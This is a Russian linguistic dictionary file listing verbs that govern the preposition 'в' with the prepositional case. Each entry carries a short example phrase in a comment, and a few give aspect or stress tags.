rus_verbs:прибежать{}, // Мальчик прибежал в слезах.
rus_verbs:биться{}, // Она билась в истерике.
rus_verbs:регистрироваться{}, // регистрироваться в системе
rus_verbs:считать{}, // я буду считать в уме
rus_verbs:трахаться{}, // трахаться в гамаке
rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке
rus_verbs:разрушать{}, // разрушать в дробилке
rus_verbs:засидеться{}, // засидеться в гостях
rus_verbs:засиживаться{}, // засиживаться в гостях
rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке)
rus_verbs:навестить{}, // навестить в доме престарелых
rus_verbs:запомнить{}, // запомнить в кэше
rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.)
rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка)
rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику.
rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.)
rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу
rus_verbs:оглядываться{}, // оглядываться в зеркале
rus_verbs:нарисовать{}, // нарисовать в тетрадке
rus_verbs:пробить{}, // пробить отверствие в стене
rus_verbs:повертеть{}, // повертеть в руке
rus_verbs:вертеть{}, // Я вертел в руках
rus_verbs:рваться{}, // Веревка рвется в месте надреза
rus_verbs:распространяться{}, // распространяться в среде наркоманов
rus_verbs:попрощаться{}, // попрощаться в здании морга
rus_verbs:соображать{}, // соображать в уме
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати
rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот)
rus_verbs:разобрать{}, // разобрать в гараже
rus_verbs:помереть{}, // помереть в пути
rus_verbs:различить{}, // различить в темноте
rus_verbs:рисовать{}, // рисовать в графическом редакторе
rus_verbs:проследить{}, // проследить в записях камер слежения
rus_verbs:совершаться{}, // Правосудие совершается в суде
rus_verbs:задремать{}, // задремать в кровати
rus_verbs:ругаться{}, // ругаться в комнате
rus_verbs:зазвучать{}, // зазвучать в радиоприемниках
rus_verbs:задохнуться{}, // задохнуться в воде
rus_verbs:порождать{}, // порождать в неокрепших умах
rus_verbs:отдыхать{}, // отдыхать в санатории
rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении
rus_verbs:образовать{}, // образовать в пробирке темную взвесь
rus_verbs:отмечать{}, // отмечать в списке
rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте
rus_verbs:плясать{}, // плясать в откружении незнакомых людей
rus_verbs:повысить{}, // повысить в звании
rus_verbs:поджидать{}, // поджидать в подъезде
rus_verbs:отказать{}, // отказать в пересмотре дела
rus_verbs:раствориться{}, // раствориться в бензине
rus_verbs:отражать{}, // отражать в стихах
rus_verbs:дремать{}, // дремать в гамаке
rus_verbs:применяться{}, // применяться в домашних условиях
rus_verbs:присниться{}, // присниться во сне
rus_verbs:трястись{}, // трястись в драндулете
rus_verbs:сохранять{}, // сохранять в неприкосновенности
rus_verbs:расстрелять{}, // расстрелять в ложбине
rus_verbs:рассчитать{}, // рассчитать в программе
rus_verbs:перебирать{}, // перебирать в руке
rus_verbs:разбиться{}, // разбиться в аварии
rus_verbs:поискать{}, // поискать в углу
rus_verbs:мучиться{}, // мучиться в тесной клетке
rus_verbs:замелькать{}, // замелькать в телевизоре
rus_verbs:грустить{}, // грустить в одиночестве
rus_verbs:крутить{}, // крутить в банке
rus_verbs:объявиться{}, // объявиться в городе
rus_verbs:подготовить{}, // подготовить в тайне
rus_verbs:различать{}, // различать в смеси
rus_verbs:обнаруживать{}, // обнаруживать в крови
rus_verbs:киснуть{}, // киснуть в захолустье
rus_verbs:оборваться{}, // оборваться в начале фразы
rus_verbs:запутаться{}, // запутаться в веревках
rus_verbs:общаться{}, // общаться в интимной обстановке
rus_verbs:сочинить{}, // сочинить в ресторане
rus_verbs:изобрести{}, // изобрести в домашней лаборатории
rus_verbs:прокомментировать{}, // прокомментировать в своем блоге
rus_verbs:давить{}, // давить в зародыше
rus_verbs:повториться{}, // повториться в новом обличье
rus_verbs:отставать{}, // отставать в общем зачете
rus_verbs:разработать{}, // разработать в лаборатории
rus_verbs:качать{}, // качать в кроватке
rus_verbs:заменить{}, // заменить в двигателе
rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере
rus_verbs:забегать{}, // забегать в спешке
rus_verbs:наделать{}, // наделать в решении ошибок
rus_verbs:исказиться{}, // исказиться в кривом зеркале
rus_verbs:тушить{}, // тушить в помещении пожар
rus_verbs:охранять{}, // охранять в здании входы
rus_verbs:приметить{}, // приметить в кустах
rus_verbs:скрыть{}, // скрыть в складках одежды
rus_verbs:удерживать{}, // удерживать в заложниках
rus_verbs:увеличиваться{}, // увеличиваться в размере
rus_verbs:красоваться{}, // красоваться в новом платье
rus_verbs:сохраниться{}, // сохраниться в тепле
rus_verbs:лечить{}, // лечить в стационаре
rus_verbs:смешаться{}, // смешаться в баке
rus_verbs:прокатиться{}, // прокатиться в троллейбусе
rus_verbs:договариваться{}, // договариваться в закрытом кабинете
rus_verbs:опубликовать{}, // опубликовать в официальном блоге
rus_verbs:охотиться{}, // охотиться в прериях
rus_verbs:отражаться{}, // отражаться в окне
rus_verbs:понизить{}, // понизить в должности
rus_verbs:обедать{}, // обедать в ресторане
rus_verbs:посидеть{}, // посидеть в тени
rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете
rus_verbs:свершиться{}, // свершиться в суде
rus_verbs:ночевать{}, // ночевать в гостинице
rus_verbs:темнеть{}, // темнеть в воде
rus_verbs:гибнуть{}, // гибнуть в застенках
rus_verbs:усиливаться{}, // усиливаться в направлении главного удара
rus_verbs:расплыться{}, // расплыться в улыбке
rus_verbs:превышать{}, // превышать в несколько раз
rus_verbs:проживать{}, // проживать в отдельной коморке
rus_verbs:голубеть{}, // голубеть в тепле
rus_verbs:исследовать{}, // исследовать в естественных условиях
rus_verbs:обитать{}, // обитать в лесу
rus_verbs:скучать{}, // скучать в одиночестве
rus_verbs:сталкиваться{}, // сталкиваться в воздухе
rus_verbs:таиться{}, // таиться в глубине
rus_verbs:спасать{}, // спасать в море
rus_verbs:заблудиться{}, // заблудиться в лесу
rus_verbs:создаться{}, // создаться в новом виде
rus_verbs:пошарить{}, // пошарить в кармане
rus_verbs:планировать{}, // планировать в программе
rus_verbs:отбить{}, // отбить в нижней части
rus_verbs:отрицать{}, // отрицать в суде свою вину
rus_verbs:основать{}, // основать в пустыне новый город
rus_verbs:двоить{}, // двоить в глазах
rus_verbs:устоять{}, // устоять в лодке
rus_verbs:унять{}, // унять в ногах дрожь
rus_verbs:отзываться{}, // отзываться в обзоре
rus_verbs:притормозить{}, // притормозить в траве
rus_verbs:читаться{}, // читаться в глазах
rus_verbs:житься{}, // житься в деревне
rus_verbs:заиграть{}, // заиграть в жилах
rus_verbs:шевелить{}, // шевелить в воде
rus_verbs:зазвенеть{}, // зазвенеть в ушах
rus_verbs:зависнуть{}, // зависнуть в библиотеке
rus_verbs:затаить{}, // затаить в душе обиду
rus_verbs:сознаться{}, // сознаться в совершении
rus_verbs:протекать{}, // протекать в легкой форме
rus_verbs:выясняться{}, // выясняться в ходе эксперимента
rus_verbs:скрестить{}, // скрестить в неволе
rus_verbs:наводить{}, // наводить в комнате порядок
rus_verbs:значиться{}, // значиться в документах
rus_verbs:заинтересовать{}, // заинтересовать в получении результатов
rus_verbs:познакомить{}, // познакомить в непринужденной обстановке
rus_verbs:рассеяться{}, // рассеяться в воздухе
rus_verbs:грохнуть{}, // грохнуть в подвале
rus_verbs:обвинять{}, // обвинять в вымогательстве
rus_verbs:столпиться{}, // столпиться в фойе
rus_verbs:порыться{}, // порыться в сумке
rus_verbs:ослабить{}, // ослабить в верхней части
rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки
rus_verbs:спастись{}, // спастись в хижине
rus_verbs:прерваться{}, // прерваться в середине фразы
rus_verbs:применять{}, // применять в повседневной работе
rus_verbs:строиться{}, // строиться в зоне отчуждения
rus_verbs:путешествовать{}, // путешествовать в самолете
rus_verbs:побеждать{}, // побеждать в честной битве
rus_verbs:погубить{}, // погубить в себе артиста
rus_verbs:рассматриваться{}, // рассматриваться в следующей главе
rus_verbs:продаваться{}, // продаваться в специализированном магазине
rus_verbs:разместиться{}, // разместиться в аудитории
rus_verbs:повидать{}, // повидать в жизни
rus_verbs:настигнуть{}, // настигнуть в пригородах
rus_verbs:сгрудиться{}, // сгрудиться в центре загона
rus_verbs:укрыться{}, // укрыться в доме
rus_verbs:расплакаться{}, // расплакаться в суде
rus_verbs:пролежать{}, // пролежать в канаве
rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде
rus_verbs:поскользнуться{}, // поскользнуться в коридоре
rus_verbs:таскать{}, // таскать в руках
rus_verbs:нападать{}, // нападать в вольере
rus_verbs:просматривать{}, // просматривать в браузере
rus_verbs:обдумать{}, // обдумать в дороге
rus_verbs:обвинить{}, // обвинить в измене
rus_verbs:останавливать{}, // останавливать в дверях
rus_verbs:теряться{}, // теряться в догадках
rus_verbs:погибать{}, // погибать в бою
rus_verbs:обозначать{}, // обозначать в списке
rus_verbs:запрещать{}, // запрещать в парке
rus_verbs:долететь{}, // долететь в вертолёте
rus_verbs:тесниться{}, // тесниться в каморке
rus_verbs:уменьшаться{}, // уменьшаться в размере
rus_verbs:издавать{}, // издавать в небольшом издательстве
rus_verbs:хоронить{}, // хоронить в море
rus_verbs:перемениться{}, // перемениться в лице
rus_verbs:установиться{}, // установиться в северных областях
rus_verbs:прикидывать{}, // прикидывать в уме
rus_verbs:затаиться{}, // затаиться в траве
rus_verbs:раздобыть{}, // раздобыть в аптеке
rus_verbs:перебросить{}, // перебросить в товарном составе
rus_verbs:погружаться{}, // погружаться в батискафе
rus_verbs:поживать{}, // поживать в одиночестве
rus_verbs:признаваться{}, // признаваться в любви
rus_verbs:захватывать{}, // захватывать в здании
rus_verbs:покачиваться{}, // покачиваться в лодке
rus_verbs:крутиться{}, // крутиться в колесе
rus_verbs:помещаться{}, // помещаться в ящике
rus_verbs:питаться{}, // питаться в столовой
rus_verbs:отдохнуть{}, // отдохнуть в пансионате
rus_verbs:кататься{}, // кататься в коляске
rus_verbs:поработать{}, // поработать в цеху
rus_verbs:подразумевать{}, // подразумевать в задании
rus_verbs:ограбить{}, // ограбить в подворотне
rus_verbs:преуспеть{}, // преуспеть в бизнесе
rus_verbs:заерзать{}, // заерзать в кресле
rus_verbs:разъяснить{}, // разъяснить в другой статье
rus_verbs:продвинуться{}, // продвинуться в изучении
rus_verbs:поколебаться{}, // поколебаться в начале
rus_verbs:засомневаться{}, // засомневаться в честности
rus_verbs:приникнуть{}, // приникнуть в уме
rus_verbs:скривить{}, // скривить в усмешке
rus_verbs:рассечь{}, // рассечь в центре опухоли
rus_verbs:перепутать{}, // перепутать в роддоме
rus_verbs:посмеяться{}, // посмеяться в перерыве
rus_verbs:отмечаться{}, // отмечаться в полицейском участке
rus_verbs:накопиться{}, // накопиться в отстойнике
rus_verbs:уносить{}, // уносить в руках
rus_verbs:навещать{}, // навещать в больнице
rus_verbs:остыть{}, // остыть в проточной воде
rus_verbs:запереться{}, // запереться в комнате
rus_verbs:обогнать{}, // обогнать в первом круге
rus_verbs:убеждаться{}, // убеждаться в неизбежности
rus_verbs:подбирать{}, // подбирать в магазине
rus_verbs:уничтожать{}, // уничтожать в полете
rus_verbs:путаться{}, // путаться в показаниях
rus_verbs:притаиться{}, // притаиться в темноте
rus_verbs:проплывать{}, // проплывать в лодке
rus_verbs:засесть{}, // засесть в окопе
rus_verbs:подцепить{}, // подцепить в баре
rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок
rus_verbs:оправдаться{}, // оправдаться в суде
rus_verbs:созреть{}, // созреть в естественных условиях
rus_verbs:раскрываться{}, // раскрываться в подходящих условиях
rus_verbs:ожидаться{}, // ожидаться в верхней части
rus_verbs:одеваться{}, // одеваться в дорогих бутиках
rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта
rus_verbs:грабить{}, // грабить в подворотне
rus_verbs:ужинать{}, // ужинать в ресторане
rus_verbs:гонять{}, // гонять в жилах
rus_verbs:уверить{}, // уверить в безопасности
rus_verbs:потеряться{}, // потеряться в лесу
rus_verbs:устанавливаться{}, // устанавливаться в комнате
rus_verbs:предоставлять{}, // предоставлять в суде
rus_verbs:протянуться{}, // протянуться в стене
rus_verbs:допрашивать{}, // допрашивать в бункере
rus_verbs:проработать{}, // проработать в кабинете
rus_verbs:сосредоточить{}, // сосредоточить в своих руках
rus_verbs:утвердить{}, // утвердить в должности
rus_verbs:сочинять{}, // сочинять в дороге
rus_verbs:померкнуть{}, // померкнуть в глазах
rus_verbs:показываться{}, // показываться в окошке
rus_verbs:похудеть{}, // похудеть в талии
rus_verbs:проделывать{}, // проделывать в стене
rus_verbs:прославиться{}, // прославиться в интернете
rus_verbs:сдохнуть{}, // сдохнуть в нищете
rus_verbs:раскинуться{}, // раскинуться в степи
rus_verbs:развить{}, // развить в себе способности
rus_verbs:уставать{}, // уставать в цеху
rus_verbs:укрепить{}, // укрепить в земле
rus_verbs:числиться{}, // числиться в списке
rus_verbs:образовывать{}, // образовывать в смеси
rus_verbs:екнуть{}, // екнуть в груди
rus_verbs:одобрять{}, // одобрять в своей речи
rus_verbs:запить{}, // запить в одиночестве
rus_verbs:забыться{}, // забыться в тяжелом сне
rus_verbs:чернеть{}, // чернеть в кислой среде
rus_verbs:размещаться{}, // размещаться в гараже
rus_verbs:соорудить{}, // соорудить в гараже
rus_verbs:развивать{}, // развивать в себе
rus_verbs:пастись{}, // пастись в пойме
rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы
rus_verbs:ослабнуть{}, // ослабнуть в сочленении
rus_verbs:таить{}, // таить в себе
инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке
rus_verbs:приостановиться{}, // приостановиться в конце
rus_verbs:топтаться{}, // топтаться в грязи
rus_verbs:громить{}, // громить в финале
rus_verbs:заменять{}, // заменять в основном составе
rus_verbs:подъезжать{}, // подъезжать в колясках
rus_verbs:вычислить{}, // вычислить в уме
rus_verbs:заказывать{}, // заказывать в магазине
rus_verbs:осуществить{}, // осуществить в реальных условиях
rus_verbs:обосноваться{}, // обосноваться в дупле
rus_verbs:пытать{}, // пытать в камере
rus_verbs:поменять{}, // поменять в магазине
rus_verbs:совершиться{}, // совершиться в суде
rus_verbs:пролетать{}, // пролетать в вертолете
rus_verbs:сбыться{}, // сбыться во сне
rus_verbs:разговориться{}, // разговориться в отделении
rus_verbs:преподнести{}, // преподнести в красивой упаковке
rus_verbs:напечатать{}, // напечатать в типографии
rus_verbs:прорвать{}, // прорвать в центре
rus_verbs:раскачиваться{}, // раскачиваться в кресле
rus_verbs:задерживаться{}, // задерживаться в дверях
rus_verbs:угощать{}, // угощать в кафе
rus_verbs:проступать{}, // проступать в глубине
rus_verbs:шарить{}, // шарить в математике
rus_verbs:увеличивать{}, // увеличивать в конце
rus_verbs:расцвести{}, // расцвести в оранжерее
rus_verbs:закипеть{}, // закипеть в баке
rus_verbs:подлететь{}, // подлететь в вертолете
rus_verbs:рыться{}, // рыться в куче
rus_verbs:пожить{}, // пожить в гостинице
rus_verbs:добираться{}, // добираться в попутном транспорте
rus_verbs:перекрыть{}, // перекрыть в коридоре
rus_verbs:продержаться{}, // продержаться в барокамере
rus_verbs:разыскивать{}, // разыскивать в толпе
rus_verbs:освобождать{}, // освобождать в зале суда
rus_verbs:подметить{}, // подметить в человеке
rus_verbs:передвигаться{}, // передвигаться в узкой юбке
rus_verbs:продумать{}, // продумать в уме
rus_verbs:извиваться{}, // извиваться в траве
rus_verbs:процитировать{}, // процитировать в статье
rus_verbs:прогуливаться{}, // прогуливаться в парке
rus_verbs:защемить{}, // защемить в двери
rus_verbs:увеличиться{}, // увеличиться в объеме
rus_verbs:проявиться{}, // проявиться в результатах
rus_verbs:заскользить{}, // заскользить в ботинках
rus_verbs:пересказать{}, // пересказать в своем выступлении
rus_verbs:протестовать{}, // протестовать в здании парламента
rus_verbs:указываться{}, // указываться в путеводителе
rus_verbs:копошиться{}, // копошиться в песке
rus_verbs:проигнорировать{}, // проигнорировать в своей работе
rus_verbs:купаться{}, // купаться в речке
rus_verbs:подсчитать{}, // подсчитать в уме
rus_verbs:разволноваться{}, // разволноваться в классе
rus_verbs:придумывать{}, // придумывать в своем воображении
rus_verbs:предусмотреть{}, // предусмотреть в программе
rus_verbs:завертеться{}, // завертеться в колесе
rus_verbs:зачерпнуть{}, // зачерпнуть в ручье
rus_verbs:очистить{}, // очистить в химической лаборатории
rus_verbs:прозвенеть{}, // прозвенеть в коридорах
rus_verbs:уменьшиться{}, // уменьшиться в размере
rus_verbs:колыхаться{}, // колыхаться в проточной воде
rus_verbs:ознакомиться{}, // ознакомиться в автобусе
rus_verbs:ржать{}, // ржать в аудитории
rus_verbs:раскинуть{}, // раскинуть в микрорайоне
rus_verbs:разлиться{}, // разлиться в воде
rus_verbs:сквозить{}, // сквозить в словах
rus_verbs:задушить{}, // задушить в объятиях
rus_verbs:осудить{}, // осудить в особом порядке
rus_verbs:разгромить{}, // разгромить в честном поединке
rus_verbs:подслушать{}, // подслушать в кулуарах
rus_verbs:проповедовать{}, // проповедовать в сельских районах
rus_verbs:озарить{}, // озарить во сне
rus_verbs:потирать{}, // потирать в предвкушении
rus_verbs:описываться{}, // описываться в статье
rus_verbs:качаться{}, // качаться в кроватке
rus_verbs:усилить{}, // усилить в центре
rus_verbs:прохаживаться{}, // прохаживаться в новом костюме
rus_verbs:полечить{}, // полечить в больничке
rus_verbs:сниматься{}, // сниматься в римейке
rus_verbs:сыскать{}, // сыскать в наших краях
rus_verbs:поприветствовать{}, // поприветствовать в коридоре
rus_verbs:подтвердиться{}, // подтвердиться в эксперименте
rus_verbs:плескаться{}, // плескаться в теплой водичке
rus_verbs:расширяться{}, // расширяться в первом сегменте
rus_verbs:мерещиться{}, // мерещиться в тумане
rus_verbs:сгущаться{}, // сгущаться в воздухе
rus_verbs:храпеть{}, // храпеть во сне
rus_verbs:подержать{}, // подержать в руках
rus_verbs:накинуться{}, // накинуться в подворотне
rus_verbs:планироваться{}, // планироваться в закрытом режиме
rus_verbs:пробудить{}, // пробудить в себе
rus_verbs:побриться{}, // побриться в ванной
rus_verbs:сгинуть{}, // сгинуть в пучине
rus_verbs:окрестить{}, // окрестить в церкви
инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления
rus_verbs:замкнуться{}, // замкнуться в себе
rus_verbs:прибавлять{}, // прибавлять в весе
rus_verbs:проплыть{}, // проплыть в лодке
rus_verbs:растворяться{}, // растворяться в тумане
rus_verbs:упрекать{}, // упрекать в небрежности
rus_verbs:затеряться{}, // затеряться в лабиринте
rus_verbs:перечитывать{}, // перечитывать в поезде
rus_verbs:перелететь{}, // перелететь в вертолете
rus_verbs:оживать{}, // оживать в теплой воде
rus_verbs:заглохнуть{}, // заглохнуть в полете
rus_verbs:кольнуть{}, // кольнуть в боку
rus_verbs:копаться{}, // копаться в куче
rus_verbs:развлекаться{}, // развлекаться в клубе
rus_verbs:отливать{}, // отливать в кустах
rus_verbs:зажить{}, // зажить в деревне
rus_verbs:одолжить{}, // одолжить в соседнем кабинете
rus_verbs:заклинать{}, // заклинать в своей речи
rus_verbs:различаться{}, // различаться в мелочах
rus_verbs:печататься{}, // печататься в типографии
rus_verbs:угадываться{}, // угадываться в контурах
rus_verbs:обрывать{}, // обрывать в начале
rus_verbs:поглаживать{}, // поглаживать в кармане
rus_verbs:подписывать{}, // подписывать в присутствии понятых
rus_verbs:добывать{}, // добывать в разломе
rus_verbs:скопиться{}, // скопиться в воротах
rus_verbs:повстречать{}, // повстречать в бане
rus_verbs:совпасть{}, // совпасть в упрощенном виде
rus_verbs:разрываться{}, // разрываться в точке спайки
rus_verbs:улавливать{}, // улавливать в датчике
rus_verbs:повстречаться{}, // повстречаться в лифте
rus_verbs:отразить{}, // отразить в отчете
rus_verbs:пояснять{}, // пояснять в примечаниях
rus_verbs:накормить{}, // накормить в столовке
rus_verbs:поужинать{}, // поужинать в ресторане
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить в молоке
rus_verbs:освоить{}, // освоить в работе
rus_verbs:зародиться{}, // зародиться в голове
rus_verbs:отплыть{}, // отплыть в старой лодке
rus_verbs:отстаивать{}, // отстаивать в суде
rus_verbs:осуждать{}, // осуждать в своем выступлении
rus_verbs:переговорить{}, // переговорить в перерыве
rus_verbs:разгораться{}, // разгораться в сердце
rus_verbs:укрыть{}, // укрыть в шалаше
rus_verbs:томиться{}, // томиться в застенках
rus_verbs:клубиться{}, // клубиться в воздухе
rus_verbs:сжигать{}, // сжигать в топке
rus_verbs:позавтракать{}, // позавтракать в кафешке
rus_verbs:функционировать{}, // функционировать в лабораторных условиях
rus_verbs:смять{}, // смять в руке
rus_verbs:разместить{}, // разместить в интернете
rus_verbs:пронести{}, // пронести в потайном кармане
rus_verbs:руководствоваться{}, // руководствоваться в работе
rus_verbs:нашарить{}, // нашарить в потемках
rus_verbs:закрутить{}, // закрутить в вихре
rus_verbs:просматриваться{}, // просматриваться в дальней перспективе
rus_verbs:распознать{}, // распознать в незнакомце
rus_verbs:повеситься{}, // повеситься в камере
rus_verbs:обшарить{}, // обшарить в поисках наркотиков
rus_verbs:наполняться{}, // наполняется в карьере
rus_verbs:засвистеть{}, // засвистеть в воздухе
rus_verbs:процветать{}, // процветать в мягком климате
rus_verbs:шуршать{}, // шуршать в простенке
rus_verbs:подхватывать{}, // подхватывать в полете
инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе
прилагательное:роившийся{}, прилагательное:роящийся{},
// деепричастие:роясь{ aux stress="ро^ясь" },
rus_verbs:преобладать{}, // преобладать в тексте
rus_verbs:посветлеть{}, // посветлеть в лице
rus_verbs:игнорировать{}, // игнорировать в рекомендациях
rus_verbs:обсуждаться{}, // обсуждаться в кулуарах
rus_verbs:отказывать{}, // отказывать в визе
rus_verbs:ощупывать{}, // ощупывать в кармане
rus_verbs:разливаться{}, // разливаться в цеху
rus_verbs:расписаться{}, // расписаться в получении
rus_verbs:учинить{}, // учинить в казарме
rus_verbs:плестись{}, // плестись в хвосте
rus_verbs:объявляться{}, // объявляться в группе
rus_verbs:повышаться{}, // повышаться в первой части
rus_verbs:напрягать{}, // напрягать в паху
rus_verbs:разрабатывать{}, // разрабатывать в студии
rus_verbs:хлопотать{}, // хлопотать в мэрии
rus_verbs:прерывать{}, // прерывать в самом начале
rus_verbs:каяться{}, // каяться в грехах
rus_verbs:освоиться{}, // освоиться в кабине
rus_verbs:подплыть{}, // подплыть в лодке
rus_verbs:замигать{}, // замигать в темноте
rus_verbs:оскорблять{}, // оскорблять в выступлении
rus_verbs:торжествовать{}, // торжествовать в душе
rus_verbs:поправлять{}, // поправлять в прологе
rus_verbs:угадывать{}, // угадывать в размытом изображении
rus_verbs:потоптаться{}, // потоптаться в прихожей
rus_verbs:переправиться{}, // переправиться в лодочке
rus_verbs:увериться{}, // увериться в невиновности
rus_verbs:забрезжить{}, // забрезжить в конце тоннеля
rus_verbs:утвердиться{}, // утвердиться во мнении
rus_verbs:завывать{}, // завывать в трубе
rus_verbs:заварить{}, // заварить в заварнике
rus_verbs:скомкать{}, // скомкать в руке
rus_verbs:перемещаться{}, // перемещаться в капсуле
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле
rus_verbs:праздновать{}, // праздновать в баре
rus_verbs:мигать{}, // мигать в темноте
rus_verbs:обучить{}, // обучить в мастерской
rus_verbs:орудовать{}, // орудовать в кладовке
rus_verbs:упорствовать{}, // упорствовать в заблуждении
rus_verbs:переминаться{}, // переминаться в прихожей
rus_verbs:подрасти{}, // подрасти в теплице
rus_verbs:предписываться{}, // предписываться в законе
rus_verbs:приписать{}, // приписать в конце
rus_verbs:задаваться{}, // задаваться в своей статье
rus_verbs:чинить{}, // чинить в домашних условиях
rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке
rus_verbs:пообедать{}, // пообедать в ресторанчике
rus_verbs:жрать{}, // жрать в чуланчике
rus_verbs:исполняться{}, // исполняться в антракте
rus_verbs:гнить{}, // гнить в тюрьме
rus_verbs:глодать{}, // глодать в конуре
rus_verbs:прослушать{}, // прослушать в дороге
rus_verbs:истратить{}, // истратить в кабаке
rus_verbs:стареть{}, // стареть в одиночестве
rus_verbs:разжечь{}, // разжечь в сердце
rus_verbs:совещаться{}, // совещаться в кабинете
rus_verbs:покачивать{}, // покачивать в кроватке
rus_verbs:отсидеть{}, // отсидеть в одиночке
rus_verbs:формировать{}, // формировать в умах
rus_verbs:захрапеть{}, // захрапеть во сне
rus_verbs:петься{}, // петься в хоре
rus_verbs:объехать{}, // объехать в автобусе
rus_verbs:поселить{}, // поселить в гостинице
rus_verbs:предаться{}, // предаться в книге
rus_verbs:заворочаться{}, // заворочаться во сне
rus_verbs:напрятать{}, // напрятать в карманах
rus_verbs:очухаться{}, // очухаться в незнакомом месте
rus_verbs:ограничивать{}, // ограничивать в движениях
rus_verbs:завертеть{}, // завертеть в руках
rus_verbs:печатать{}, // печатать в редакторе
rus_verbs:теплиться{}, // теплиться в сердце
rus_verbs:увязнуть{}, // увязнуть в зыбучем песке
rus_verbs:усмотреть{}, // усмотреть в обращении
rus_verbs:отыскаться{}, // отыскаться в запасах
rus_verbs:потушить{}, // потушить в горле огонь
rus_verbs:поубавиться{}, // поубавиться в размере
rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти
rus_verbs:смыть{}, // смыть в ванной
rus_verbs:заместить{}, // заместить в кресле
rus_verbs:угасать{}, // угасать в одиночестве
rus_verbs:сразить{}, // сразить в споре
rus_verbs:фигурировать{}, // фигурировать в бюллетене
rus_verbs:расплываться{}, // расплываться в глазах
rus_verbs:сосчитать{}, // сосчитать в уме
rus_verbs:сгуститься{}, // сгуститься в воздухе
rus_verbs:цитировать{}, // цитировать в своей статье
rus_verbs:помяться{}, // помяться в давке
rus_verbs:затрагивать{}, // затрагивать в процессе выполнения
rus_verbs:обтереть{}, // обтереть в гараже
rus_verbs:подстрелить{}, // подстрелить в пойме реки
rus_verbs:растереть{}, // растереть в руке
rus_verbs:подавлять{}, // подавлять в зародыше
rus_verbs:смешиваться{}, // смешиваться в чане
инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке
rus_verbs:сократиться{}, // сократиться в обхвате
rus_verbs:занервничать{}, // занервничать в кабинете
rus_verbs:соприкоснуться{}, // соприкоснуться в полете
rus_verbs:обозначить{}, // обозначить в объявлении
rus_verbs:обучаться{}, // обучаться в училище
rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы
rus_verbs:лелеять{}, // лелеять в сердце
rus_verbs:поддерживаться{}, // поддерживаться в суде
rus_verbs:уплыть{}, // уплыть в лодочке
rus_verbs:резвиться{}, // резвиться в саду
rus_verbs:поерзать{}, // поерзать в гамаке
rus_verbs:оплатить{}, // оплатить в ресторане
rus_verbs:похвастаться{}, // похвастаться в компании
rus_verbs:знакомиться{}, // знакомиться в классе
rus_verbs:приплыть{}, // приплыть в подводной лодке
rus_verbs:зажигать{}, // зажигать в классе
rus_verbs:смыслить{}, // смыслить в математике
rus_verbs:закопать{}, // закопать в огороде
rus_verbs:порхать{}, // порхать в зарослях
rus_verbs:потонуть{}, // потонуть в бумажках
rus_verbs:стирать{}, // стирать в холодной воде
rus_verbs:подстерегать{}, // подстерегать в придорожных кустах
rus_verbs:погулять{}, // погулять в парке
rus_verbs:предвкушать{}, // предвкушать в воображении
rus_verbs:ошеломить{}, // ошеломить в бою
rus_verbs:удостовериться{}, // удостовериться в безопасности
rus_verbs:огласить{}, // огласить в заключительной части
rus_verbs:разбогатеть{}, // разбогатеть в деревне
rus_verbs:грохотать{}, // грохотать в мастерской
rus_verbs:реализоваться{}, // реализоваться в должности
rus_verbs:красть{}, // красть в магазине
rus_verbs:нарваться{}, // нарваться в коридоре
rus_verbs:застывать{}, // застывать в неудобной позе
rus_verbs:толкаться{}, // толкаться в тесной комнате
rus_verbs:извлекать{}, // извлекать в аппарате
rus_verbs:обжигать{}, // обжигать в печи
rus_verbs:запечатлеть{}, // запечатлеть в кинохронике
rus_verbs:тренироваться{}, // тренироваться в зале
rus_verbs:поспорить{}, // поспорить в кабинете
rus_verbs:рыскать{}, // рыскать в лесу
rus_verbs:надрываться{}, // надрываться в шахте
rus_verbs:сняться{}, // сняться в фильме
rus_verbs:закружить{}, // закружить в танце
rus_verbs:затонуть{}, // затонуть в порту
rus_verbs:побыть{}, // побыть в гостях
rus_verbs:почистить{}, // почистить в носу
rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре
rus_verbs:подслушивать{}, // подслушивать в классе
rus_verbs:сгорать{}, // сгорать в танке
rus_verbs:разочароваться{}, // разочароваться в артисте
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках
rus_verbs:мять{}, // мять в руках
rus_verbs:подраться{}, // подраться в классе
rus_verbs:замести{}, // замести в прихожей
rus_verbs:откладываться{}, // откладываться в печени
rus_verbs:обозначаться{}, // обозначаться в перечне
rus_verbs:просиживать{}, // просиживать в интернете
rus_verbs:соприкасаться{}, // соприкасаться в точке
rus_verbs:начертить{}, // начертить в тетрадке
rus_verbs:уменьшать{}, // уменьшать в поперечнике
